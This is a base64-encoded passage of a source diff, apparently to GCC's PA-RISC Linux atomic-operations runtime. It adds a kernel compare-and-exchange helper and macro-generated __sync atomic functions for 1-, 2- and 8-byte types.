emUpCit7CisgIHJlZ2lzdGVyIHVuc2lnbmVkIGxvbmcgbHdzX21lbSBhc20oInIyNiIpID0gKHVu
c2lnbmVkIGxvbmcpIChtZW0pOworICByZWdpc3RlciBsb25nIGx3c19yZXQgICBhc20oInIyOCIp
OworICByZWdpc3RlciBsb25nIGx3c19lcnJubyBhc20oInIyMSIpOworICByZWdpc3RlciB1bnNp
Z25lZCBsb25nIGx3c19vbGQgYXNtKCJyMjUiKSA9ICh1bnNpZ25lZCBsb25nKSBvbGR2YWw7Cisg
IHJlZ2lzdGVyIHVuc2lnbmVkIGxvbmcgbHdzX25ldyBhc20oInIyNCIpID0gKHVuc2lnbmVkIGxv
bmcpIG5ld3ZhbDsKKyAgcmVnaXN0ZXIgaW50IGx3c19zaXplIGFzbSgicjIzIikgPSB2YWxfc2l6
ZTsKKyAgYXNtIHZvbGF0aWxlICgJImJsZQkweGIwKCUlc3IyLCAlJXIwKQlcblx0IgorCQkJImxk
aQklMiwgJSVyMjAJCVxuXHQiCisJOiAiPXIiIChsd3NfcmV0KSwgIj1yIiAobHdzX2Vycm5vKQor
CTogImkiICgyKSwgInIiIChsd3NfbWVtKSwgInIiIChsd3Nfb2xkKSwgInIiIChsd3NfbmV3KSwg
InIiIChsd3Nfc2l6ZSkKKwk6ICJyMSIsICJyMjAiLCAicjIyIiwgInIyOSIsICJyMzEiLCAiZnI0
IiwgIm1lbW9yeSIKKyAgKTsKKyAgaWYgKF9fYnVpbHRpbl9leHBlY3QgKGx3c19lcnJubyA9PSAt
RUZBVUxUIHx8IGx3c19lcnJubyA9PSAtRU5PU1lTLCAwKSkKKyAgICBBQk9SVF9JTlNUUlVDVElP
TjsKKworICAvKiBJZiB0aGUga2VybmVsIExXUyBjYWxsIGZhaWxzLCByZXRydW4gRUJVU1kgKi8K
KyAgaWYgKCFsd3NfZXJybm8gJiYgbHdzX3JldCkKKyAgICBsd3NfZXJybm8gPSAtRUJVU1k7CisK
KyAgcmV0dXJuIGx3c19lcnJubzsKK30KICNkZWZpbmUgSElEREVOIF9fYXR0cmlidXRlX18gKCh2
aXNpYmlsaXR5ICgiaGlkZGVuIikpKQogCiAvKiBCaWcgZW5kaWFuIG1hc2tzICAqLwpAQCAtODQs
NjkgKzEwOCwxMDEgQEAKICNkZWZpbmUgTUFTS18xIDB4ZmZ1CiAjZGVmaW5lIE1BU0tfMiAweGZm
ZmZ1CiAKLSNkZWZpbmUgRkVUQ0hfQU5EX09QX1dPUkQoT1AsIFBGWF9PUCwgSU5GX09QKQkJCQlc
Ci0gIGludCBISURERU4JCQkJCQkJCVwKLSAgX19zeW5jX2ZldGNoX2FuZF8jI09QIyNfNCAoaW50
ICpwdHIsIGludCB2YWwpCQkJCVwKKyNkZWZpbmUgRkVUQ0hfQU5EX09QXzIoT1AsIFBGWF9PUCwg
SU5GX09QLCBUWVBFLCBXSURUSCwgSU5ERVgpCQlcCisgIFRZUEUgSElEREVOCQkJCQkJCQlcCisg
IF9fc3luY19mZXRjaF9hbmRfIyNPUCMjXyMjV0lEVEggKFRZUEUgKnB0ciwgVFlQRSB2YWwpCQkJ
XAogICB7CQkJCQkJCQkJXAotICAgIGludCBmYWlsdXJlLCB0bXA7CQkJCQkJCVwKKyAgICBUWVBF
IHRtcCwgbmV3dmFsOwkJCQkJCQlcCisgICAgaW50IGZhaWx1cmU7CQkJCQkJCVwKIAkJCQkJCQkJ
CVwKICAgICBkbyB7CQkJCQkJCQlcCiAgICAgICB0bXAgPSAqcHRyOwkJCQkJCQlcCi0gICAgICBm
YWlsdXJlID0gX19rZXJuZWxfY21weGNoZyAodG1wLCBQRlhfT1AgKHRtcCBJTkZfT1AgdmFsKSwg
cHRyKTsJXAorICAgICAgbmV3dmFsID0gUEZYX09QICh0bXAgSU5GX09QIHZhbCk7CQkJCQlcCisg
ICAgICBmYWlsdXJlID0gX19rZXJuZWxfY21weGNoZzIgKCZ0bXAsICZuZXd2YWwsIHB0ciwgSU5E
RVgpOwkJXAogICAgIH0gd2hpbGUgKGZhaWx1cmUgIT0gMCk7CQkJCQkJXAogCQkJCQkJCQkJXAog
ICAgIHJldHVybiB0bXA7CQkJCQkJCQlcCiAgIH0KIAotRkVUQ0hfQU5EX09QX1dPUkQgKGFkZCwg
ICAsICspCi1GRVRDSF9BTkRfT1BfV09SRCAoc3ViLCAgICwgLSkKLUZFVENIX0FORF9PUF9XT1JE
IChvciwgICAgLCB8KQotRkVUQ0hfQU5EX09QX1dPUkQgKGFuZCwgICAsICYpCi1GRVRDSF9BTkRf
T1BfV09SRCAoeG9yLCAgICwgXikKLUZFVENIX0FORF9PUF9XT1JEIChuYW5kLCB+LCAmKQorRkVU
Q0hfQU5EX09QXzIgKGFkZCwgICAsICssIGxvbmcgbG9uZywgOCwgMykKK0ZFVENIX0FORF9PUF8y
IChzdWIsICAgLCAtLCBsb25nIGxvbmcsIDgsIDMpCitGRVRDSF9BTkRfT1BfMiAob3IsICAgICwg
fCwgbG9uZyBsb25nLCA4LCAzKQorRkVUQ0hfQU5EX09QXzIgKGFuZCwgICAsICYsIGxvbmcgbG9u
ZywgOCwgMykKK0ZFVENIX0FORF9PUF8yICh4b3IsICAgLCBeLCBsb25nIGxvbmcsIDgsIDMpCitG
RVRDSF9BTkRfT1BfMiAobmFuZCwgfiwgJiwgbG9uZyBsb25nLCA4LCAzKQogCi0jZGVmaW5lIE5B
TUVfb2xkdmFsKE9QLCBXSURUSCkgX19zeW5jX2ZldGNoX2FuZF8jI09QIyNfIyNXSURUSAotI2Rl
ZmluZSBOQU1FX25ld3ZhbChPUCwgV0lEVEgpIF9fc3luY18jI09QIyNfYW5kX2ZldGNoXyMjV0lE
VEgKK0ZFVENIX0FORF9PUF8yIChhZGQsICAgLCArLCB1bnNpZ25lZCBzaG9ydCwgMiwgMSkKK0ZF
VENIX0FORF9PUF8yIChzdWIsICAgLCAtLCB1bnNpZ25lZCBzaG9ydCwgMiwgMSkKK0ZFVENIX0FO
RF9PUF8yIChvciwgICAgLCB8LCB1bnNpZ25lZCBzaG9ydCwgMiwgMSkKK0ZFVENIX0FORF9PUF8y
IChhbmQsICAgLCAmLCB1bnNpZ25lZCBzaG9ydCwgMiwgMSkKK0ZFVENIX0FORF9PUF8yICh4b3Is
ICAgLCBeLCB1bnNpZ25lZCBzaG9ydCwgMiwgMSkKK0ZFVENIX0FORF9PUF8yIChuYW5kLCB+LCAm
LCB1bnNpZ25lZCBzaG9ydCwgMiwgMSkKIAotLyogSW1wbGVtZW50IGJvdGggX19zeW5jXzxvcD5f
YW5kX2ZldGNoIGFuZCBfX3N5bmNfZmV0Y2hfYW5kXzxvcD4gZm9yCi0gICBzdWJ3b3JkLXNpemVk
IHF1YW50aXRpZXMuICAqLworRkVUQ0hfQU5EX09QXzIgKGFkZCwgICAsICssIHVuc2lnbmVkIGNo
YXIsIDEsIDApCitGRVRDSF9BTkRfT1BfMiAoc3ViLCAgICwgLSwgdW5zaWduZWQgY2hhciwgMSwg
MCkKK0ZFVENIX0FORF9PUF8yIChvciwgICAgLCB8LCB1bnNpZ25lZCBjaGFyLCAxLCAwKQorRkVU
Q0hfQU5EX09QXzIgKGFuZCwgICAsICYsIHVuc2lnbmVkIGNoYXIsIDEsIDApCitGRVRDSF9BTkRf
T1BfMiAoeG9yLCAgICwgXiwgdW5zaWduZWQgY2hhciwgMSwgMCkKK0ZFVENIX0FORF9PUF8yIChu
YW5kLCB+LCAmLCB1bnNpZ25lZCBjaGFyLCAxLCAwKQogCi0jZGVmaW5lIFNVQldPUkRfU1lOQ19P
UChPUCwgUEZYX09QLCBJTkZfT1AsIFRZUEUsIFdJRFRILCBSRVRVUk4pCVwKKyNkZWZpbmUgT1Bf
QU5EX0ZFVENIXzIoT1AsIFBGWF9PUCwgSU5GX09QLCBUWVBFLCBXSURUSCwgSU5ERVgpCQlcCiAg
IFRZUEUgSElEREVOCQkJCQkJCQlcCi0gIE5BTUUjI18jI1JFVFVSTiAoT1AsIFdJRFRIKSAoVFlQ
RSAqcHRyLCBUWVBFIHZhbCkJCQlcCisgIF9fc3luY18jI09QIyNfYW5kX2ZldGNoXyMjV0lEVEgg
KFRZUEUgKnB0ciwgVFlQRSB2YWwpCQkJXAogICB7CQkJCQkJCQkJXAotICAgIGludCAqd29yZHB0
ciA9IChpbnQgKikgKCh1bnNpZ25lZCBsb25nKSBwdHIgJiB+Myk7CQkJXAotICAgIHVuc2lnbmVk
IGludCBtYXNrLCBzaGlmdCwgb2xkdmFsLCBuZXd2YWw7CQkJCVwKKyAgICBUWVBFIHRtcCwgbmV3
dmFsOwkJCQkJCQlcCiAgICAgaW50IGZhaWx1cmU7CQkJCQkJCVwKIAkJCQkJCQkJCVwKLSAgICBz
aGlmdCA9ICgoKHVuc2lnbmVkIGxvbmcpIHB0ciAmIDMpIDw8IDMpIF4gSU5WRVJUX01BU0tfIyNX
SURUSDsJXAotICAgIG1hc2sgPSBNQVNLXyMjV0lEVEggPDwgc2hpZnQ7CQkJCQlcCisgICAgZG8g
ewkJCQkJCQkJXAorICAgICAgdG1wID0gKnB0cjsJCQkJCQkJXAorICAgICAgbmV3dmFsID0gUEZY
X09QICh0bXAgSU5GX09QIHZhbCk7CQkJCQlcCisgICAgICBmYWlsdXJlID0gX19rZXJuZWxfY21w
eGNoZzIgKCZ0bXAsICZuZXd2YWwsIHB0ciwgSU5ERVgpOwkJXAorICAgIH0gd2hpbGUgKGZhaWx1
cmUgIT0gMCk7CQkJCQkJXAogCQkJCQkJCQkJXAorICAgIHJldHVybiBQRlhfT1AgKHRtcCBJTkZf
T1AgdmFsKTsJCQkJCVwKKyAgfQorCitPUF9BTkRfRkVUQ0hfMiAoYWRkLCAgICwgKywgbG9uZyBs
b25nLCA4LCAzKQorT1BfQU5EX0ZFVENIXzIgKHN1YiwgICAsIC0sIGxvbmcgbG9uZywgOCwgMykK
K09QX0FORF9GRVRDSF8yIChvciwgICAgLCB8LCBsb25nIGxvbmcsIDgsIDMpCitPUF9BTkRfRkVU
Q0hfMiAoYW5kLCAgICwgJiwgbG9uZyBsb25nLCA4LCAzKQorT1BfQU5EX0ZFVENIXzIgKHhvciwg
ICAsIF4sIGxvbmcgbG9uZywgOCwgMykKK09QX0FORF9GRVRDSF8yIChuYW5kLCB+LCAmLCBsb25n
IGxvbmcsIDgsIDMpCisKK09QX0FORF9GRVRDSF8yIChhZGQsICAgLCArLCB1bnNpZ25lZCBzaG9y
dCwgMiwgMSkKK09QX0FORF9GRVRDSF8yIChzdWIsICAgLCAtLCB1bnNpZ25lZCBzaG9ydCwgMiwg
MSkKK09QX0FORF9GRVRDSF8yIChvciwgICAgLCB8LCB1bnNpZ25lZCBzaG9ydCwgMiwgMSkKK09Q
X0FORF9GRVRDSF8yIChhbmQsICAgLCAmLCB1bnNpZ25lZCBzaG9ydCwgMiwgMSkKK09QX0FORF9G
RVRDSF8yICh4b3IsICAgLCBeLCB1bnNpZ25lZCBzaG9ydCwgMiwgMSkKK09QX0FORF9GRVRDSF8y
IChuYW5kLCB+LCAmLCB1bnNpZ25lZCBzaG9ydCwgMiwgMSkKKworT1BfQU5EX0ZFVENIXzIgKGFk
ZCwgICAsICssIHVuc2lnbmVkIGNoYXIsIDEsIDApCitPUF9BTkRfRkVUQ0hfMiAoc3ViLCAgICwg
LSwgdW5zaWduZWQgY2hhciwgMSwgMCkKK09QX0FORF9GRVRDSF8yIChvciwgICAgLCB8LCB1bnNp
Z25lZCBjaGFyLCAxLCAwKQorT1BfQU5EX0ZFVENIXzIgKGFuZCwgICAsICYsIHVuc2lnbmVkIGNo
YXIsIDEsIDApCitPUF9BTkRfRkVUQ0hfMiAoeG9yLCAgICwgXiwgdW5zaWduZWQgY2hhciwgMSwg
MCkKK09QX0FORF9GRVRDSF8yIChuYW5kLCB+LCAmLCB1bnNpZ25lZCBjaGFyLCAxLCAwKQorCisj
ZGVmaW5lIEZFVENIX0FORF9PUF9XT1JEKE9QLCBQRlhfT1AsIElORl9PUCkJCQkJXAorICBpbnQg
SElEREVOCQkJCQkJCQlcCisgIF9fc3luY19mZXRjaF9hbmRfIyNPUCMjXzQgKGludCAqcHRyLCBp
bnQgdmFsKQkJCQlcCisgIHsJCQkJCQkJCQlcCisgICAgaW50IGZhaWx1cmUsIHRtcDsJCQkJCQkJ
XAorCQkJCQkJCQkJXAogICAgIGRvIHsJCQkJCQkJCVwKLSAgICAgIG9sZHZhbCA9ICp3b3JkcHRy
OwkJCQkJCVwKLSAgICAgIG5ld3ZhbCA9ICgoUEZYX09QICgoKG9sZHZhbCAmIG1hc2spID4+IHNo
aWZ0KQkJCVwKLSAgICAgICAgICAgICAgICAgICAgICAgICBJTkZfT1AgKHVuc2lnbmVkIGludCkg
dmFsKSkgPDwgc2hpZnQpICYgbWFzazsJXAotICAgICAgbmV3dmFsIHw9IG9sZHZhbCAmIH5tYXNr
OwkJCQkJCVwKLSAgICAgIGZhaWx1cmUgPSBfX2tlcm5lbF9jbXB4Y2hnIChvbGR2YWwsIG5ld3Zh
bCwgd29yZHB0cik7CQlcCisgICAgICB0bXAgPSAqcHRyOwkJCQkJCQlcCisgICAgICBmYWlsdXJl
ID0gX19rZXJuZWxfY21weGNoZyAodG1wLCBQRlhfT1AgKHRtcCBJTkZfT1AgdmFsKSwgcHRyKTsJ
XAogICAgIH0gd2hpbGUgKGZhaWx1cmUgIT0gMCk7CQkJCQkJXAogCQkJCQkJCQkJXAotICAgIHJl
dHVybiAoUkVUVVJOICYgbWFzaykgPj4gc2hpZnQ7CQkJCQlcCisgICAgcmV0dXJuIHRtcDsJCQkJ
CQkJCVwKICAgfQogCi1TVUJXT1JEX1NZTkNfT1AgKGFkZCwgICAsICssIHVuc2lnbmVkIHNob3J0
LCAyLCBvbGR2YWwpCi1TVUJXT1JEX1NZTkNfT1AgKHN1YiwgICAsIC0sIHVuc2lnbmVkIHNob3J0
LCAyLCBvbGR2YWwpCi1TVUJXT1JEX1NZTkNfT1AgKG9yLCAgICAsIHwsIHVuc2lnbmVkIHNob3J0
LCAyLCBvbGR2YWwpCi1TVUJXT1JEX1NZTkNfT1AgKGFuZCwgICAsICYsIHVuc2lnbmVkIHNob3J0
LCAyLCBvbGR2YWwpCi1TVUJXT1JEX1NZTkNfT1AgKHhvciwgICAsIF4sIHVuc2lnbmVkIHNob3J0
LCAyLCBvbGR2YWwpCi1TVUJXT1JEX1NZTkNfT1AgKG5hbmQsIH4sICYsIHVuc2lnbmVkIHNob3J0
LCAyLCBvbGR2YWwpCitGRVRDSF9BTkRfT1BfV09SRCAoYWRkLCAgICwgKykKK0ZFVENIX0FORF9P
UF9XT1JEIChzdWIsICAgLCAtKQorRkVUQ0hfQU5EX09QX1dPUkQgKG9yLCAgICAsIHwpCitGRVRD
SF9BTkRfT1BfV09SRCAoYW5kLCAgICwgJikKK0ZFVENIX0FORF9PUF9XT1JEICh4b3IsICAgLCBe
KQorRkVUQ0hfQU5EX09QX1dPUkQgKG5hbmQsIH4sICYpCiAKLVNVQldPUkRfU1lOQ19PUCAoYWRk
LCAgICwgKywgdW5zaWduZWQgY2hhciwgMSwgb2xkdmFsKQotU1VCV09SRF9TWU5DX09QIChzdWIs
ICAgLCAtLCB1bnNpZ25lZCBjaGFyLCAxLCBvbGR2YWwpCi1TVUJXT1JEX1NZTkNfT1AgKG9yLCAg
ICAsIHwsIHVuc2lnbmVkIGNoYXIsIDEsIG9sZHZhbCkKLVNVQldPUkRfU1lOQ19PUCAoYW5kLCAg
ICwgJiwgdW5zaWduZWQgY2hhciwgMSwgb2xkdmFsKQotU1VCV09SRF9TWU5DX09QICh4b3IsICAg
LCBeLCB1bnNpZ25lZCBjaGFyLCAxLCBvbGR2YWwpCi1TVUJXT1JEX1NZTkNfT1AgKG5hbmQsIH4s
ICYsIHVuc2lnbmVkIGNoYXIsIDEsIG9sZHZhbCkKLQogI2RlZmluZSBPUF9BTkRfRkVUQ0hfV09S
RChPUCwgUEZYX09QLCBJTkZfT1ApCQkJCVwKICAgaW50IEhJRERFTgkJCQkJCQkJXAogICBfX3N5
bmNfIyNPUCMjX2FuZF9mZXRjaF80IChpbnQgKnB0ciwgaW50IHZhbCkJCQkJXApAQCAtMTY4LDIw
ICsyMjQsNDIgQEAKIE9QX0FORF9GRVRDSF9XT1JEICh4b3IsICAgLCBeKQogT1BfQU5EX0ZFVENI
X1dPUkQgKG5hbmQsIH4sICYpCiAKLVNVQldPUkRfU1lOQ19PUCAoYWRkLCAgICwgKywgdW5zaWdu
ZWQgc2hvcnQsIDIsIG5ld3ZhbCkKLVNVQldPUkRfU1lOQ19PUCAoc3ViLCAgICwgLSwgdW5zaWdu
ZWQgc2hvcnQsIDIsIG5ld3ZhbCkKLVNVQldPUkRfU1lOQ19PUCAob3IsICAgICwgfCwgdW5zaWdu
ZWQgc2hvcnQsIDIsIG5ld3ZhbCkKLVNVQldPUkRfU1lOQ19PUCAoYW5kLCAgICwgJiwgdW5zaWdu
ZWQgc2hvcnQsIDIsIG5ld3ZhbCkKLVNVQldPUkRfU1lOQ19PUCAoeG9yLCAgICwgXiwgdW5zaWdu
ZWQgc2hvcnQsIDIsIG5ld3ZhbCkKLVNVQldPUkRfU1lOQ19PUCAobmFuZCwgfiwgJiwgdW5zaWdu
ZWQgc2hvcnQsIDIsIG5ld3ZhbCkKK3R5cGVkZWYgdW5zaWduZWQgY2hhciBib29sOwogCi1TVUJX
T1JEX1NZTkNfT1AgKGFkZCwgICAsICssIHVuc2lnbmVkIGNoYXIsIDEsIG5ld3ZhbCkKLVNVQldP
UkRfU1lOQ19PUCAoc3ViLCAgICwgLSwgdW5zaWduZWQgY2hhciwgMSwgbmV3dmFsKQotU1VCV09S
RF9TWU5DX09QIChvciwgICAgLCB8LCB1bnNpZ25lZCBjaGFyLCAxLCBuZXd2YWwpCi1TVUJXT1JE
X1NZTkNfT1AgKGFuZCwgICAsICYsIHVuc2lnbmVkIGNoYXIsIDEsIG5ld3ZhbCkKLVNVQldPUkRf
U1lOQ19PUCAoeG9yLCAgICwgXiwgdW5zaWduZWQgY2hhciwgMSwgbmV3dmFsKQotU1VCV09SRF9T
WU5DX09QIChuYW5kLCB+LCAmLCB1bnNpZ25lZCBjaGFyLCAxLCBuZXd2YWwpCisjZGVmaW5lIENP
TVBBUkVfQU5EX1NXQVBfMihUWVBFLCBXSURUSCwgSU5ERVgpCQkJCQlcCisgIFRZUEUgSElEREVO
CQkJCQkJCQkJXAorICBfX3N5bmNfdmFsX2NvbXBhcmVfYW5kX3N3YXBfIyNXSURUSCAoVFlQRSAq
cHRyLCBUWVBFIG9sZHZhbCwgVFlQRSBuZXd2YWwpCVwKKyAgewkJCQkJCQkJCQlcCisgICAgVFlQ
RSBhY3R1YWxfb2xkdmFsOwkJCQkJCQkJXAorICAgIGludCBmYWlsOwkJCQkJCQkJCVwKKwkJCQkJ
CQkJCQlcCisgICAgd2hpbGUgKDEpCQkJCQkJCQkJXAorICAgICAgewkJCQkJCQkJCQlcCisJYWN0
dWFsX29sZHZhbCA9ICpwdHI7CQkJCQkJCVwKKwkJCQkJCQkJCQlcCisJaWYgKF9fYnVpbHRpbl9l
eHBlY3QgKG9sZHZhbCAhPSBhY3R1YWxfb2xkdmFsLCAwKSkJCQlcCisJICByZXR1cm4gYWN0dWFs
X29sZHZhbDsJCQkJCQkJXAorCQkJCQkJCQkJCVwKKwlmYWlsID0gX19rZXJuZWxfY21weGNoZzIg
KCZhY3R1YWxfb2xkdmFsLCAmbmV3dmFsLCBwdHIsIElOREVYKTsJCVwKKwkJCQkJCQkJCQlcCisJ
aWYgKF9fYnVpbHRpbl9leHBlY3QgKCFmYWlsLCAxKSkJCQkJCVwKKwkgIHJldHVybiBhY3R1YWxf
b2xkdmFsOwkJCQkJCQlcCisgICAgfQkJCQkJCQkJCQlcCisgIH0JCQkJCQkJCQkJXAorCQkJCQkJ
CQkJCVwKKyAgYm9vbCBISURERU4JCQkJCQkJCQlcCisgIF9fc3luY19ib29sX2NvbXBhcmVfYW5k
X3N3YXBfIyNXSURUSCAoVFlQRSAqcHRyLCBUWVBFIG9sZHZhbCwJVFlQRSBuZXd2YWwpCVwKKyAg
ewkJCQkJCQkJCQlcCisgICAgaW50IGZhaWx1cmUgPSBfX2tlcm5lbF9jbXB4Y2hnMiAoJm9sZHZh
bCwgJm5ld3ZhbCwgcHRyLCBJTkRFWCk7CQlcCisgICAgcmV0dXJuIChmYWlsdXJlICE9IDApOwkJ
CQkJCQlcCisgIH0KIAorCisKK0NPTVBBUkVfQU5EX1NXQVBfMihsb25nIGxvbmcsICAgICAgOCwg
MykKK0NPTVBBUkVfQU5EX1NXQVBfMih1bnNpZ25lZCBzaG9ydCwgMiwgMSkKK0NPTVBBUkVfQU5E
X1NXQVBfMih1bnNpZ25lZCBjaGFyLCAgMSwgMCkKKwogaW50IEhJRERFTgogX19zeW5jX3ZhbF9j
b21wYXJlX2FuZF9zd2FwXzQgKGludCAqcHRyLCBpbnQgb2xkdmFsLCBpbnQgbmV3dmFsKQogewpA
QCAtMjAxLDQxICsyNzksNiBAQAogICAgIH0KIH0KIAotI2RlZmluZSBTVUJXT1JEX1ZBTF9DQVMo
VFlQRSwgV0lEVEgpCQkJCQlcCi0gIFRZUEUgSElEREVOCQkJCQkJCQlcCi0gIF9fc3luY192YWxf
Y29tcGFyZV9hbmRfc3dhcF8jI1dJRFRIIChUWVBFICpwdHIsIFRZUEUgb2xkdmFsLAkJXAotCQkJ
CSAgICAgICBUWVBFIG5ld3ZhbCkJCQlcCi0gIHsJCQkJCQkJCQlcCi0gICAgaW50ICp3b3JkcHRy
ID0gKGludCAqKSgodW5zaWduZWQgbG9uZykgcHRyICYgfjMpLCBmYWlsOwkJXAotICAgIHVuc2ln
bmVkIGludCBtYXNrLCBzaGlmdCwgYWN0dWFsX29sZHZhbCwgYWN0dWFsX25ld3ZhbDsJCVwKLQkJ
CQkJCQkJCVwKLSAgICBzaGlmdCA9ICgoKHVuc2lnbmVkIGxvbmcpIHB0ciAmIDMpIDw8IDMpIF4g
SU5WRVJUX01BU0tfIyNXSURUSDsJXAotICAgIG1hc2sgPSBNQVNLXyMjV0lEVEggPDwgc2hpZnQ7
CQkJCQlcCi0JCQkJCQkJCQlcCi0gICAgd2hpbGUgKDEpCQkJCQkJCQlcCi0gICAgICB7CQkJCQkJ
CQkJXAotCWFjdHVhbF9vbGR2YWwgPSAqd29yZHB0cjsJCQkJCVwKLQkJCQkJCQkJCVwKLQlpZiAo
X19idWlsdGluX2V4cGVjdCAoKChhY3R1YWxfb2xkdmFsICYgbWFzaykgPj4gc2hpZnQpCQlcCi0J
CQkgICAgICAhPSAodW5zaWduZWQgaW50KSBvbGR2YWwsIDApKQkJXAotCSAgcmV0dXJuIChhY3R1
YWxfb2xkdmFsICYgbWFzaykgPj4gc2hpZnQ7CQkJXAotCQkJCQkJCQkJXAotCWFjdHVhbF9uZXd2
YWwgPSAoYWN0dWFsX29sZHZhbCAmIH5tYXNrKQkJCQlcCi0JCQl8ICgoKHVuc2lnbmVkIGludCkg
bmV3dmFsIDw8IHNoaWZ0KSAmIG1hc2spOwlcCi0JCQkJCQkJCQlcCi0JZmFpbCA9IF9fa2VybmVs
X2NtcHhjaGcgKGFjdHVhbF9vbGR2YWwsIGFjdHVhbF9uZXd2YWwsCQlcCi0JCQkJIHdvcmRwdHIp
OwkJCQlcCi0JCQkJCQkJCQlcCi0JaWYgKF9fYnVpbHRpbl9leHBlY3QgKCFmYWlsLCAxKSkJCQkJ
XAotCSAgcmV0dXJuIChhY3R1YWxfb2xkdmFsICYgbWFzaykgPj4gc2hpZnQ7CQkJXAotICAgICAg
fQkJCQkJCQkJCVwKLSAgfQotCi1TVUJXT1JEX1ZBTF9DQVMgKHVuc2lnbmVkIHNob3J0LCAyKQot
U1VCV09SRF9WQUxfQ0FTICh1bnNpZ25lZCBjaGFyLCAgMSkKLQotdHlwZWRlZiB1bnNpZ25lZCBj
aGFyIGJvb2w7Ci0KIGJvb2wgSElEREVOCiBfX3N5bmNfYm9vbF9jb21wYXJlX2FuZF9zd2FwXzQg
KGludCAqcHRyLCBpbnQgb2xkdmFsLCBpbnQgbmV3dmFsKQogewpAQCAtMjQzLDE4ICsyODYsMjUg
QEAKICAgcmV0dXJuIChmYWlsdXJlID09IDApOwogfQogCi0jZGVmaW5lIFNVQldPUkRfQk9PTF9D
QVMoVFlQRSwgV0lEVEgpCQkJCQlcCi0gIGJvb2wgSElEREVOCQkJCQkJCQlcCi0gIF9fc3luY19i
b29sX2NvbXBhcmVfYW5kX3N3YXBfIyNXSURUSCAoVFlQRSAqcHRyLCBUWVBFIG9sZHZhbCwJCVwK
LQkJCQkJVFlQRSBuZXd2YWwpCQkJXAorCisjZGVmaW5lIFNZTkNfTE9DS19URVNUX0FORF9TRVRf
MihUWVBFLCBXSURUSCwgSU5ERVgpCQkJXAorVFlQRSBISURERU4JCQkJCQkJCVwKKyAgX19zeW5j
X2xvY2tfdGVzdF9hbmRfc2V0XyMjV0lEVEggKFRZUEUgKnB0ciwgVFlQRSB2YWwpCQlcCiAgIHsJ
CQkJCQkJCQlcCi0gICAgVFlQRSBhY3R1YWxfb2xkdmFsCQkJCQkJCVwKLSAgICAgID0gX19zeW5j
X3ZhbF9jb21wYXJlX2FuZF9zd2FwXyMjV0lEVEggKHB0ciwgb2xkdmFsLCBuZXd2YWwpOwlcCi0g
ICAgcmV0dXJuIChvbGR2YWwgPT0gYWN0dWFsX29sZHZhbCk7CQkJCQlcCisgICAgVFlQRSBvbGR2
YWw7CQkJCQkJCVwKKyAgICBpbnQgZmFpbHVyZTsJCQkJCQkJXAorCQkJCQkJCQkJXAorICAgIGRv
IHsJCQkJCQkJCVwKKyAgICAgIG9sZHZhbCA9ICpwdHI7CQkJCQkJCVwKKyAgICAgIGZhaWx1cmUg
PSBfX2tlcm5lbF9jbXB4Y2hnMiAoJm9sZHZhbCwgJnZhbCwgcHRyLCBJTkRFWCk7CQlcCisgICAg
fSB3aGlsZSAoZmFpbHVyZSAhPSAwKTsJCQkJCQlcCisJCQkJCQkJCQlcCisgICAgcmV0dXJuIG9s
ZHZhbDsJCQkJCQkJXAogICB9CiAKLVNVQldPUkRfQk9PTF9DQVMgKHVuc2lnbmVkIHNob3J0LCAy
KQotU1VCV09SRF9CT09MX0NBUyAodW5zaWduZWQgY2hhciwgIDEpCitTWU5DX0xPQ0tfVEVTVF9B
TkRfU0VUXzIobG9uZyBsb25nLCAgICAgIDgsIDMpCitTWU5DX0xPQ0tfVEVTVF9BTkRfU0VUXzIo
dW5zaWduZWQgc2hvcnQsIDIsIDEpCitTWU5DX0xPQ0tfVEVTVF9BTkRfU0VUXzIodW5zaWduZWQg
Y2hhciwgIDEsIDApCiAKIGludCBISURERU4KIF9fc3luY19sb2NrX3Rlc3RfYW5kX3NldF80IChp
bnQgKnB0ciwgaW50IHZhbCkKQEAgLTI2OSwyOSArMzE5LDIyIEBACiAgIHJldHVybiBvbGR2YWw7
CiB9CiAKLSNkZWZpbmUgU1VCV09SRF9URVNUX0FORF9TRVQoVFlQRSwgV0lEVEgpCQkJCVwKLSAg
VFlQRSBISURERU4JCQkJCQkJCVwKLSAgX19zeW5jX2xvY2tfdGVzdF9hbmRfc2V0XyMjV0lEVEgg
KFRZUEUgKnB0ciwgVFlQRSB2YWwpCQlcCi0gIHsJCQkJCQkJCQlcCi0gICAgaW50IGZhaWx1cmU7
CQkJCQkJCVwKLSAgICB1bnNpZ25lZCBpbnQgb2xkdmFsLCBuZXd2YWwsIHNoaWZ0LCBtYXNrOwkJ
CQlcCi0gICAgaW50ICp3b3JkcHRyID0gKGludCAqKSAoKHVuc2lnbmVkIGxvbmcpIHB0ciAmIH4z
KTsJCQlcCi0JCQkJCQkJCQlcCi0gICAgc2hpZnQgPSAoKCh1bnNpZ25lZCBsb25nKSBwdHIgJiAz
KSA8PCAzKSBeIElOVkVSVF9NQVNLXyMjV0lEVEg7CVwKLSAgICBtYXNrID0gTUFTS18jI1dJRFRI
IDw8IHNoaWZ0OwkJCQkJXAotCQkJCQkJCQkJXAotICAgIGRvIHsJCQkJCQkJCVwKLSAgICAgIG9s
ZHZhbCA9ICp3b3JkcHRyOwkJCQkJCVwKLSAgICAgIG5ld3ZhbCA9IChvbGR2YWwgJiB+bWFzaykJ
CQkJCQlcCi0JICAgICAgIHwgKCgodW5zaWduZWQgaW50KSB2YWwgPDwgc2hpZnQpICYgbWFzayk7
CQlcCi0gICAgICBmYWlsdXJlID0gX19rZXJuZWxfY21weGNoZyAob2xkdmFsLCBuZXd2YWwsIHdv
cmRwdHIpOwkJXAotICAgIH0gd2hpbGUgKGZhaWx1cmUgIT0gMCk7CQkJCQkJXAotCQkJCQkJCQkJ
XAotICAgIHJldHVybiAob2xkdmFsICYgbWFzaykgPj4gc2hpZnQ7CQkJCQlcCisKKyNkZWZpbmUg
U1lOQ19MT0NLX1JFTEVBU0VfMihUWVBFLCBXSURUSCwgSU5ERVgpCQkJXAorICB2b2lkIEhJRERF
TgkJCQkJCQlcCisgIF9fc3luY19sb2NrX3JlbGVhc2VfIyNXSURUSCAoVFlQRSAqcHRyKQkJCVwK
KyAgewkJCQkJCQkJXAorICAgIFRZUEUgZmFpbHVyZSwgb2xkdmFsLCB6ZXJvID0gMDsJCQkJXAor
CQkJCQkJCQlcCisgICAgZG8gewkJCQkJCQlcCisgICAgICBvbGR2YWwgPSAqcHRyOwkJCQkJCVwK
KyAgICAgIGZhaWx1cmUgPSBfX2tlcm5lbF9jbXB4Y2hnMiAoJm9sZHZhbCwgJnplcm8sIHB0ciwg
